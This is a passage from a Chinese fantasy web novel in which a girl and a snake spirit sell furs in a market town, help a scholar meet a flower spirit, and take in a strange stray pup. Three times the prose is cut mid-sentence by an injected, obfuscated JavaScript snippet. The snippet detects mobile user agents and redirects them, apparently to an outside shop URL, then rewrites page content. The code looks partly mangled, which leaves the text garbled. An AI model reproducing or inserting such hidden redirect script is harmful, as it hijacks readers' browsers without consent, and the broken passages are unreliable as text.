成捆的皮毛很重,阿草将背篓套进双臂,试了几次都站不起来。 修璃见状化为了人形,仅用一只手,就轻松将整个背篓提了起来。 “哇……修璃,你力气好大啊。”阿草啧啧称奇,“不过,你今天要跟我一起去吗?” 阿草有些期待。她根本没有察觉到,往常她每一次来青芜镇,修璃都会化为小白蛇跟随在她身边。 大蛇的守护,浸润在每个她不曾察觉的角落。 “嗷,嗯……”修璃有些躲闪地抠抠脸颊,“今天本山神,咳……就随你一同去吧。” “嗯!” 阿草久违地露出灿烂的笑容,眉眼和嘴角弯弯,让修璃的心有些暖暖的。自那日以后,她好久没有这般开心地笑了,修璃捉摸不透少女的心思,却也由衷地扬起嘴角。 二人慢慢滑下山坡,走上宽敞的官道,清冷绝世的白衣公子,引得周围百姓纷纷侧目。 与修璃并肩同行,阿草欢欣雀跃,她的话也多了起来: “修璃,你不是说你不是山神么,为什么还要自称‘本山神’?” “昂……习惯了而已。”修璃轻轻嗓子,“虽然我只是修炼千年的蛇妖,可架不住山中精怪都将我奉为‘山神’,这可不是我自封的哦。” 修璃认真地举起食指,神情有些小小骄傲。 多日以来,他们难得说了这么多话,二人走过熙熙攘攘的街道,径直朝着集市而去。秋已深,虽然还有些许淡白的阳光,可秋风一吹,阿草还是忍不住打了个哆嗦。 修璃却说:“还是山下暖和啊,这会儿山中有些地方已经下雪了呢。” 他虽这么说着,却不断往双手呵着气。 也许是修璃的存在太过惹眼,也许是背篓里的皮毛正应了需求,他们刚刚找到一个角落停驻,阿草还没开始吆喝呢,就有许多客人围了上来。 “姑娘,这白兔毛怎么卖?我想给我闺女做个坎肩!” “这个……大娘,您给多少?” 阿草还没想好呢,各种皮毛的都是什么行价,她自己也不清楚,喊贵了怕吓跑客人,便宜了怕自己吃亏。阿草左右为难,回头求助修璃,他却无可奈何地耸耸肩。 是啊……怎么能指望一条蛇呢? 阿草后悔没先问问行价。 面对越来越多问价的人,她突然灵光一闪,想到了一个绝好的办法: “各位大叔大娘,我这里只有这么多皮毛,各位若是诚心想要,不如价高者得,怎么样?” 她将各色皮毛一条条拎出来,挂在背篓的沿口外面,可翻到那张白狐皮时,她的手却停顿了。纠结片刻后,她下定决心往里塞了塞。 “哎,那白狐皮怎么不拿出来?” “不好意思,狐皮我不卖……大叔,您还是看看别的吧。” 人群叽叽喳喳,开始给自己心仪的皮毛出价。阿草细心观察着,往往有人喊到了一定价格,其余人便遗憾地摇摇头,她默默地记了下来——这大概就是将来能卖的最高价了。 经过一个时辰的竞卖,除了那张白狐皮外,剩余的皮毛都被抢购一空。 一位腆着将军肚子、浑身穿金戴银的阔气商人路过,见到那张雪白完整的狐皮,硬是要买下来。价格喊得越来越高,阿草激动得浑身冒汗。 “十两——十两你还不卖?”商人已经失去了耐心。 可阿草依然紧咬牙关:“不卖,就是不卖!” “我都出十两了你还不卖?你这山里丫头,知道十两是多少钱吗,够你吃十年了!” 商人显然没有受过这等憋屈,他朝后招招手,几名强壮的家丁便气势汹汹地走上来。商人在青芜镇有钱有势,干脆直接将一袋银子扔到阿草脚边,招呼家丁连皮带背篓一起端走。 “你……”阿草惊得浑身发抖,“你怎么能硬抢呢!” “你去青芜镇打听打听,谁没听说过我莫员外?”商人冷哼一声,捧着将军肚抖了两抖,“我今日就要这白狐皮,你这小丫头,还是拿了钱赶紧走吧!” 莫员外领着几名穷凶极恶的家丁,趾高气昂地朝前走去。 “怎么能这样……”阿草望着他宽阔的背影,强忍住泪水,捡起地上的钱袋。 打开一看,里面只有几块碎银,根本就不足十两。 霎时间,阿草觉得更伤心了,闭眼“哇”的一声便哭了出来,蹲在地上不停拿袖子揩泪。 修璃蹲下身去,轻轻拍了拍她的肩膀,他并不理解阿草为何如此伤心: “小不点,为何要哭?白狐虽稀有,可山中珍奇异兽也不在少数,往后我再给你寻些便是。” 对修璃来说,这些都是山中自有之物,自生自灭,数不胜数,并不消如此执着。 可阿草却不这么想,她哽咽地说道:“可我就是不想卖,因为、因为……” 她没有说出来。 修璃叹了口气,拍拍她的脑袋站起身来:“那你就在这里,等我一会儿吧,不要到处乱跑哦。” 阿草回头一愣,修璃已经不见了。 她就这样坐在集市角落,抱起双膝,愣愣地望着来往的行人。 修璃拿走了莫员外的钱袋子,阿草不知道他去做什么了。 就在她静静地发呆之际,一条小白蛇幽幽地游到她身边的大榕树后,很快,白衣公子走了出来,变戏法似的从身后掏出阿草的背篓,里面正是那张白狐皮。 阿草惊喜不已:“修璃,你替我拿回来了?那个莫员外,他怎么肯给你?” “这个……当然是晓之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587562|205352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以情动之以理了。”修璃转过眼抠抠脸颊,“嗯,就是这样。” 阿草表示怀疑。 然而此时的不远处,莫员外的当铺外,家丁正在惊魂未定地同他解释: “老爷,真不是小的弄丢了狐皮……方才那背篓里,突然钻出一条大蛇,张着血盆大口,见小的就要咬!小的不得已才撒了手,结果那蛇,它、它叼着背篓,嗖嗖嗖就跑没影儿了!” “啥……?” 莫员外脑袋丁零当啷一阵,什么叫蛇叼着背篓跑了? 家丁吞了口唾沫,又抖索着掏出一只钱袋子: “它还、还把钱留下了……” 拿回了白狐皮和背篓,阿草的心情好了许多,她怕莫员外会回来找她,赶紧推着修璃离开了集市。 阿草细细盘算着手里的钱,买了盐巴、香油和米面,还有足够的布匹针线,以及其他生活的必需品,原本空落落的背篓,此时又被塞满了。 修璃单手提在手中。 如此,过冬所需的东西便基本备齐了,阿草垫着手里仅剩的几块铜板——可是钱也花光了。 “钱好花,却难挣啊……” 望着空荡荡的钱袋,阿草有些感慨。 卖糖葫芦的小贩吆喝着走过,阿草望着他的背影远去,只能默默地吞一口唾沫。她用最后几个铜板买了些红彤彤的秋桔,提着它们敲开了红姐儿的门。 今年多亏了红姐儿照顾,这些权当做她的小小心意。 红姐儿施施然掀开了小红门,看见阿草和她身后的修璃,捂嘴倩笑着说道: “好个俊俏的公子哥儿啊,小不点,这不会是你的郎君吧?” “不是不是!红姐儿,你误会了……” 阿草的脸瞬间便红了,可她也不知道该怎么介绍修璃,修璃也只是尴尬地笑笑,转眼假装去看别处。好在红姐儿也没有追问,那双轻轻挑起的美目凤眼,透出一丝别有深意的神情。 她接过了阿草带的桔子,也不客气,剥开桔皮便吃起来。 “我知道了,这冬天啊,最是难熬,尤其是对那些没有皮毛的动物。”红姐抿嘴而笑,“不过来年春天,你可还要来红姐儿这,红姐儿认识的好人才多呢,到时候给你介绍位如意郎君!” “红姐儿,你别取笑我了……”阿草低头咬咬唇,满脸羞涩地说道,“我还没想过成亲呢。” “哎哟,瞧你这模样,该不会是已经有心上人了吧?” 红姐儿瞄了一眼修璃,抚嘴吃吃地笑起来。 “红姐儿……” “好了好了,不逗你了。”红姐儿丢了桔皮,用猩红的指尖捏捏阿草的肩膀,“那红姐儿就等你,来年春天,你可别忘了红姐儿哦。” “嗯!”阿草微笑着向她鞠了一躬,“来年见!” 告别了红姐儿,送了谢礼,阿草的心也放松下来。对她而言,这漫长的一年也总算是结束了,来年春天是什么光景,她内心既忐忑又期待。 修璃转眼看着她的笑容,俊秀的脸上,也浮现出温柔的笑意。 黄昏又要来临了。 他轻声询问:“小不点,该回去了吧?” 阿草却还有事放心不下:“修璃,我其实……还想去一个地方看看。” 12. 渡劫 这里阿草已经很熟悉了。 从红姐儿那儿走到另一头,右拐两条青石板巷,到底,便能看见这扇斑驳的棕色院门。 阿草向修璃解释:“这就是我跟你说过的,买了绮绣的公子所住的地方。已经深秋了,我想看看那枝绮绣是否还开着。” 不知为何,她总是有些在意。 “昂……原来如此。” 修璃恍然大悟地点点头,装作浑然不知的模样。 棕门像往常一样半掩着,阿草只消从旁侧轻轻一瞥,便能看见摆在轩窗花台下的绮绣。可今日的景象却叫她有些吃惊——只见屋内屋外乱糟糟的,书生的箱笼书屉全都搬了出来,从门内一直到小径上。 而那盆绮绣,也不见了踪影。 阿草疑惑地看了修璃一眼,悄悄朝更里头张望,只见小院内除了书生,还有位身材丰腴的大娘,她指着地上的箱笼说道:“我说让你赶紧搬走,怎么这么些时日还不搬?” 大娘的语气似乎不太友好。 书生急切地走出来,朝着房东大娘连连作揖:“姐姐请容宽……已经快入冬了,现下四处天寒地冻的,您让我去哪里住?况且我这花受不了冻,还请姐姐宽限些时日吧……” 阿草这才惊觉,绮绣不在窗台,却在书生怀里。 从盛夏直到深秋,她依旧是那般盛放之姿,灼灼娇艳,丝毫不见衰败的迹象。 “好神奇啊……”阿草不禁感叹。 修璃也静静地歪头探去,目光似是看向书生怀里的绮绣,却又好似看向别处。 而大娘的反应截然不同。 她见了绮绣倒像是见了鬼似的,惊恐地后退两步,指着书生骂道:“你还有脸说,四邻们谁不知道你这花有古怪,哪有能开几个月不败的花?” “您别这么说,所谓‘世界之大,无奇不有’……” “少给老娘跩什么酸词儿!”大娘越说越气愤,“隔壁家的小二郎说你这花里有鬼怪,他被吓得发了几日的高烧,好多人告诉老娘,你这屋里有女人怪笑的声音,你要留着这不干净的玩意儿,就搬出我的屋子!” 原来书生自打将绮绣种进盆里后,便将她放在轩窗外好沐浴阳光,可往来四邻们却能瞧见,从春到夏,由夏至冬,这花竟一点儿都没有枯萎的迹象,渐渐便起了非议。 隔壁小二郎还是半大孩子,因为好奇,曾经趁书生不在翻进了院里,想扯几片花瓣看看花究竟是真是假。 可惜他还不足窗沿高,便只能奋力踮脚伸手去探,探着探着,突然被一只冰凉的手捉住。 小二郎吓傻了,好歹是初生牛犊不怕虎,他挣扎了几下挣脱不掉,干脆大喊书生的名字:“酸读书的,你快放开我!要是我爹知道你欺负我,你准吃不了兜着走!” 小二郎知道是自己做得不对,可仗着有个做屠户的爹,再怕也挺着胸口。 可屋中无人应答。 “怪了……我明明看那臭书生出门去了,怎会还在屋里?” 小二郎也觉得奇怪,干脆跳起来想看个究竟。 然而更可怕的来了—— 屋里根本没有人,那窗沿内侧只有一只苍白的女人手,好像是凭空长出来的。 人真正受惊时,是连一点儿声音也发不出来的。小二郎就这么被鬼手吊着,脸色由红转白由白转青,直到院外传来开锁的声音,那只手才嗖的一声收了回去。 那日他呆愣愣地走回了家门,无论娘怎么呼唤都毫无反应,一歪身子便倒了下去。 那之后,他便发烧了,接连三四日才苏醒过来,却怎么也想不起来发生了什么,只记得自己翻进了书生家里。 屠户虽然心疼孩子,可夫妻俩总归是讲理的,知道是自己孩子不对在先。可流言还是传了开去,四邻们都传书生家有古怪,对其避而远之。 大娘也是心疼自己的屋子,要是闹鬼的说法传了出去,这屋子还租不租了? “总之我已经宽限你大半个月了,今天无论如何你都得给我搬出去!” 书生连连求情,大娘寸步不让,二人在门内纠缠起来。阿草心急地看着,想进去又担心说不清来由,只能无奈地叹了口气。 突然,书生发出一声惊叫:“绮绣?绮绣!” 阿草再也待不住了,冲进门去。 只见书生和大娘两脸惊愕,大娘不由地朝后退了两步,书生则趴在地上,慌乱得不知如何自处。 阿草惊讶地看见——绮绣凋谢了。 方才还盛放着的花朵,此时突然褪色发皱,巨大的花瓣一片片凋零,很快便落得只剩干枯的花芯。书生难以置信,满地捡拾掉落的花瓣,不料轻轻一拿,干枯的花瓣便碎落满地。 “绮绣,绮绣……” 大惊过后,他神情怔怔,一屁股坐在地上,哀伤地捧着花盆发呆。 大娘也有些慌了,左顾右盼,连声说道:“这、这不管我的事啊!我什么也没做!这花、这花就是有古怪!” 见这番情景,阿草鼓起勇气走上前去,朝大娘做了个揖。 “你……你们又是谁?”大娘有些不明所以。 阿草低头一看,书生还呆坐在地上,只好又作一揖,向房东大娘说了谎话: “公子的这枝绮绣,是我卖给他的……大娘,这就是生长在深山中的一种奇花,如果将养得好,就能一直盛开不败。这位公子是爱花之人,每日悉心照顾,养得绮绣生了根,这花才能开到现在,并不是有什么古怪……” 大娘将信将疑:“你说真的?” “不信你问问公子。”阿草转向书生,“公子,你抬头看看我,这花是不是我卖给你的?” 书生愣愣地抬起头,朦胧中辨认出了阿草,他点点头:“是……姑娘,这花还有得救吗?” “这个……”阿草想了想说,“天已经冷了,绮绣若放在屋中,或许还能开得久些,可到了外面让这冷风一吹……” 书生红着眼眶,愤愤地瞪了大娘一眼。 “哎你瞪我做什么?”大娘心虚地说道,“谁知道你这是什么奇花,老娘我见都没见过!你要早知道,为什么不跟我和大家解释清楚?” 书生的双眼又黯淡下去,他只能摇了摇头。 的确,就连阿草也不知道,为何绮绣会在这里长开不败。 见此情景,大娘感觉有些理亏,也不提让书生搬走的事,一甩袖子匆匆离开了。她走后,修璃帮忙将书生扶进屋内,阿草则捧起那盆绮绣,一同走进了书生的家中。 打眼一瞧这家中环境,正可谓家徒四壁,看来书生的确过得清贫。 为求学,他背井离乡,一个馒头掰成两半,眼里只有晦涩的诗书。也许一枝绮绣,也抚慰了他寂寥的心,成为他孤独求学之路上唯一的慰藉。 绮绣一朝枯萎,书生怅然若失,阿草也不知如何宽慰,只能轻声说道: “公子莫心急,也许来年春天,绮绣还会开出花来,如果开不出来,来年我再送你几枝可好?” 书生失神地望着前方,张张嘴,却没有说话。 花盆又摆上了窗沿,修璃缓缓踱步过去,修长的手指抚过她枯萎的枝干。 “你有何打算呢?” 他轻声同枯枝说话,阿草奇异地看着这一幕。 “嗯……本山神并不是怪你,五百年的时间,也可算是漫长。”修璃微微点头,“你若决定如此,我也可以帮你一个小忙。” 修璃自顾自地说这话,不仅是阿草,就连书生长郡也回过神来,难以置信地望向窗沿: “公子,您这是……” 修璃回过身来,脸上的笑容沉静而温和:“绮绣说,她有话,想当面同你说,就是不知公子可愿聆听?” “绮绣……说?” “昂。”修璃点点头,“方才她是见情形焦灼,不愿连累你才选择凋零的,先前给公子制造 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587563|205352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的麻烦,并非出自她的本意。” 阿草睁大双眼,忐忑又期待地问道:“修璃,你的意思……难道是?” “还记得小不点对你说过的么,这绮绣花,原是五百年前修炼成形的花精,她的精魂仍留在花中。只不过五百年前一场大劫,她的法力几乎尽失,不过小生略懂些法术,可助她现形……” “求你了,我想见见她!”修璃还没说完,长郡便一个滑跪下去,惊得修璃差点跳起来。 “咳……”修璃咳嗽两声,被长郡这么一打断,后面要说什么竟给忘了,“那……我这就施法。” 修璃小心翼翼地,将那盆枯花摆在屋子中央。阿草和长郡郑重地看着。 他已修炼上千年,不消用花哨的手法,只需食指轻轻一点,盆中的枯杆便再次逢春,自下而上由褐返绿,花头重新抽出花苞,再一层层绽放开来。 “好美啊……” 阿草痴痴地看着,花朵绽放之时,那深浅不一的色彩快速流转,中有银屑飞溅跳跃,像是梦幻的万花筒。当花朵完全绽放,长郡也随之松弛了脸上的皮肉,渐渐充起一个满足而喜悦的笑容。 当绮绣舒展完最后一层花瓣,跳动的银屑竟宛如被风卷动一般,亮晶晶地飘飞而起,落在花旁幻化成女子模样。 阿草没想到,她真真见到了修璃故事里的绮绣,那位在五百年前燃尽心力、独自倒在寂寥山谷中的花精。 她给阿草的第一印象,便是黛眉间淡淡的忧伤,那忧伤仿佛凝结成了露水,透出干净又纷繁复杂的情绪。继而才是她的相貌,白而无骨的肌肤,修长清瘦的身体,那过分艳丽夺目的脸庞,就像盛开的绮绣花。 她的身体有些微微透明。 修璃说:“我只能助你现形一刻钟左右,有什么想说的话,你便同他说吧。” 而长郡见了绮绣,不是惊愕,也非惊艳,而是缓缓展露出一丝“果然”之情。 他郑重地朝着绮绣深鞠一躬:“这位姑娘我见过。” “你竟不害怕?”阿草觉得这书生有些钝钝的,“我还以为你会吓晕过去,需要天山灵芝才能救活呢。” 阿草想到了长老爹爹讲过的传说。 长郡有些感慨:“那是因为,小生常常在梦中见到姑娘……自从有了这枝绮绣,我总会做一些奇异梦,梦见我迷了路,在山洞中过了一夜,梦见我从书案中抬起头来时,总有一双纤弱的手替我端来热茶……” 绮绣不言,只顾深望着他,望而不敢看,遂以袖掩面。 修璃又轻咳一声,缓缓说道:“绮绣还需要时间才能再次化为人形,公子若愿意照顾她,每日以清水灌濯,以阳光沐之,也许能再次助她渡劫成功。” 说完这些,他拂过衣袂绕至阿草身边,拍拍她的脑袋轻声说道: “小不点,我们回去吧。” 阿草还愣着,修璃便牵起她的手,将她带出了长郡的小屋。 随后,他亲手掩上了门。 “再次?” 余晖已缩至西山之背,秋日夜更凉了,阿草转头望着修璃,不确定事情是否同她想的一样。 修璃语气悠远地、说了些她听不懂的话: “再一次,也是最后一次。小不点,你有没有想过,花朵总是为真爱她的人绽放?也许只是路过的惊鸿一瞥,也许只是几滴清水的灌濯,花开花败不过几日,却是花的一生。” 阿草听不懂,却好似明白了。 就像她浮游般的人生中,也有这般“惊鸿一瞥”,足以充盈她的一生。这本该是叫人喜悦的,可一种隐隐的疼痛,像用刀背划拉心脏的钝痛,时常叫她喘不过气来。 她不由地转头望去,夕阳欲沉之前的余晖是浓郁的蓝色,而修璃温和俊逸的侧脸,却在这蓝中白得发光。 她感觉脚下有些虚浮,问出了她长久以来的困惑: “修璃,你能不能告诉我……爱,便是渡劫么?” 13. 丑小狗 修璃微微一愣,眉头稍稍蹙起,阿草似乎将他问住了。 走出幽长的小巷,青芜镇的主街上了灯,只不过秋风太凉,街上人烟渐稀。 阿草期盼地望着他,盼他能给自己一个答案,可修璃却显得有些为难: “小不点,你真是问了一个很复杂的问题啊……爱是一个很宏大的议题,我想以我目前的修为,还无法回答你。” “是么……连你也不知道啊。” 阿草有些失望。如果活了一千年的大妖也想不通,那凭她区区十五年的阅历,或许穷尽一生也无法明白了。 “不过,我曾听静远寺的老和尚说过——‘由爱故生忧,由爱故生怖,若离于爱者,无忧亦无怖’,若能超脱对爱的执着,心境自然超拔尘嚣,无忧无怖。” 阿草听不懂,却暗暗有些心惊:“我明白了……原来‘爱’是很可怕的东西。” 她似乎能理解修璃了,他活了一千年,怎么能参不透如此简单的道理呢? 想到这,阿草的心竟然轻松了许多。 之后便是蜗居府洞,等待漫长的冬日过去。 为了维持洞中的温度,大蛇每日出去,都会衔回一些小臂粗的枯树枝,再由阿草将它们砍成合适的长短。一人一蛇仿佛已然形成某种默契,当修璃为她寻来树枝或是好皮毛的动物时,阿草总会报以灿烂的笑容。 “谢谢你啦,修璃!” “昂……不用谢,小不点。” 奇怪的是,阿草似乎想通了许多,而修璃却反而读不懂她了,一双荧绿色的大眼睛,总是疑惑又探寻地盯着她看。 到了夜里,修璃照常用巨大的躯干,将阿草和火团围在中央,阿草求他给自己讲讲故事,修璃便从山下的大榕树开始讲起。 而阿草的话不多,她总是静静地聆听着,时不时发表自己的见解。她的手中针线穿梭,将柔软的兔毛缝制成衣,她特意挑了纯白的兔毛,因为青芜镇的大娘小姐们都偏爱白兔毛。 一条兔毛长褂做成了,阿草将它穿在身上,用鹿皮做的腰带捆扎好,贴身又暖和。 她很满意,站起来对着修璃转了一圈: “好看吗?” “嗯……好看。”修璃静静地趴在篝火旁,砸吧砸吧蛇嘴,“看起来很暖和。” 阿草突发奇想:“如果我也给你做一身暖和的衣服,你是不是就不用冬眠了?” 如果修璃要沉睡整个冬天,那自己,会不会很寂寞? 雪线已经从山顶蔓延至半山腰,洞外的芳草垫已铺上一层雪白的厚绒毯,府洞内越来越冷了,而修璃也越发不愿动弹。 他的双眼依旧睁得大大的,那是因为蛇类没有眼皮,可他的声音却透出一丝倦怠: “也许吧……不过倘若我不冬眠,那便要捕食,可冬天的森林已经没有多少小动物了哦。这是大自然的规律,小不点。” 也是,阿草点点头,眼前这张食物的“大网”,不足以填饱大蛇的肠胃。 下雪之后,采石村的人也不会踏足山中,放眼望去,群山与云海皆是一片白茫茫,等修璃彻底沉睡,便只剩她一个活的生灵了。 阿草还是会有些寂寞。 好在她偶遇了一个“小伙伴”。 山泉已经完全上冻了,阿草要取水,只能踩着厚厚的积雪从山后的缓坡下去,到山底的河流中取水。 从前都是修璃驮着她去,一天上下几个来回都不是问题,可如今洞外天寒地冻,阿草知道它怕冷,便趁他静悄悄睡着的时候,自己一个人下山取水。 毕竟修璃冬眠后,她也不能叫自己渴死啊。 于是这天正午,阿草趁着冬日的暖阳,担起两只铁桶下山取水。 阳光暖融融的,今日恰巧没有风,阿草看见两只灰兔从她面前跳过,留下两道可爱的小脚窝;麋鹿也出来喝水,当它们探下身去,角杈上的白雪便簌簌地落入水中。 阿草觉得自己也成山里的动物了——冬日便躲在岩穴中,只有这样的天气才会出来取水觅食。 麋鹿听见她的脚步,警觉地抬头跑开了。 阿草将空桶浸入河水里。 “嘶……好凉啊。” 手指浸入凉水,瞬间便冻得通红,阿草捧着手指不停呵气。河水虽然没有上冻,也有阳光的余温,可依旧冰凉刺骨。 呵着呵着,她似乎听见自己的声音背后,还有另一种呵气声。 “呵,呵呵,呵……” “谁?谁在那里?” 阿草看向水边的灌木丛。枝条已经被雪压弯了,下面黑洞洞的,却仿佛有两粒亮晶晶的东西,在偷偷窥伺着阿草。 “呵,呵呵,呜噜噜……” 呜噜噜,像猫咪被人抚摸时会发出的呼噜。 “是小猫咪吗?”阿草惊喜地弯下腰,朝灌木丛下伸出一只手,“快出来吧,小猫咪,我不会伤害你的,嘬嘬嘬……” 呵气声和呜噜声急促起来。 阿草充满期待地蹲在地上,不厌其烦地对着它“嘬嘬嘬”,这样僵持了好久,呵气和呜噜声渐渐小了。刷,刷,轻轻的脚步声——它似乎愿意出来了——阿草欣喜地睁大双眼。 “过来吧,小猫……咪?”当看清它的一刻,阿草明显愣了一愣。 它根本不是小猫咪,而是一团杂乱的“毛”。不知它流浪了多久,身上的毛早已纠结成块,上面沾满黑灰和湿湿的落雪,只有两只漆黑的眼睛,像黏在乱毛球上的两粒纽扣。 阿草露出窘迫的笑容,无奈地说道: “小狗狗,你长得怎么这么丑啊。” “呵……” 话音刚落,小狗便表现出威胁的姿势,冲着她不满地呵气。 “对不起对不起……”阿草连忙道歉,随即又觉得疑惑,“好奇怪,你是狗,为什么不会汪汪叫呢?跟我回家吧,我给你好好洗个澡,你就会变漂亮了!” 小狗发出一串呜噜声,似乎还是不满。 “你不喜欢洗澡啊?那这个怎么样——我家里有好多好多肉,你跟我回去,就有吃不完的肉了哦!” 阿草认真地和它谈条件。 小狗歪了歪脑袋,似乎真的听懂了,再也没有发出呜噜声。阿草 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588694|205352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将灌满河水的水桶挑起来,小狗便坐在一旁静静地看她,等阿草朝前走了几步,回头招呼一声,它竟然乖乖站起身,踩着阿草的脚印笨拙地走去。 阿草激动极了。 这只小狗虽然有点“潦草”,却好像听得懂人话,有它作伴,这个冬天应该也不会寂寞了! 她迫不及待地想把它清理干净,再正式介绍给修璃。 阳光下,雪原亮晶晶的,好像是银屑;平整的银屑中,有两串白白的脚印,从河边伸上缓坡,再爬上巨蟒峰顶的芳草垫。 阿草时不时回头看它有没有跟着,小狗始终保持着与她不远不近的距离,阿草停下来歇脚,它便也停在原地,伸伸懒腰,抬腿瘙痒。 这只小狗,还真是有灵性啊! 阿草一路都在思索,该给它起什么名字好。 一人一狗在天黑之前回到了洞府——冬天的白日极其短暂。 阿草悄悄走进洞内,发现修璃仍保持着先前的姿势,想来他还未睡醒。阿草静静地替他添了些柴火,将洞内再烧得暖和些,这才拿着抹布、梳子和一把剪刀,回到洞府后面。 潦草小狗就卧在上了冻的泉水旁,阿草让它在这里等着,它果然什么地方也没去。 她轻手轻脚地盘腿坐下来,先抚摸小狗的脑袋,让他放松下来。 阿草拿起剪刀给它看:“小狗啊小狗,这把剪刀,是为了把你这些打结的毛剪掉,这样你就能轻松很多哦,姐姐不会伤害你的。你要是同意,就呜噜一声好不好?” 小狗抬头看了一眼,发出一声呜噜。 “太好了。”阿草搓搓手,“我会尽量轻柔一点,如果弄疼了你,千万不要咬我啊……” 她用手顺了顺小狗头顶的乱毛,拿起剪刀,咔嚓一剪。 “天呐。” 阿草有些惊讶,那撮灰毛下的干净毛发,竟然是火红火红的。 趁着最后一点日光,阿草无比认真地、一点点替小狗剪除那些纠结的毛发,神情比庙里的菩萨还要神圣。小狗开始还趴着,许是觉得舒服,竟渐渐歪倒下去,不一会儿又翻了个身,将肚皮露出来给阿草看。 阿草用手摸了摸,它肚皮上的毛很干净,只是一层短短的雪白绒毛,可那绒毛却有着麋鹿一样的斑点。随着阿草的抚摸,小狗又发出“呵呵”的哈气声。 “你到底是个什么东西啊……” 阿草越剪越发愁。 与此同时,随着洞府内的温度升起,沉睡的修璃终于醒了过来。他迷茫地望了一眼空荡的府洞,又恍然看见洞外天已黑尽,霎时间着急起来,慌忙中差点将身体扭成了麻花。 他心急如焚,连忙游至洞后,却发现那里亮着一簇火把。 阿草认真的面庞,在火把的柔光中忽明忽灭。 修璃长长地舒了口气,缓缓游了过去:“小不点,你在这里做什么呢?” 而阿草终于将小狗的杂毛剪干净了,用抹布浸了水,将它从头到尾擦了一遍。 可当她看清小狗的原貌时,忍不住倒吸了一口凉气。 “这是……什么啊!”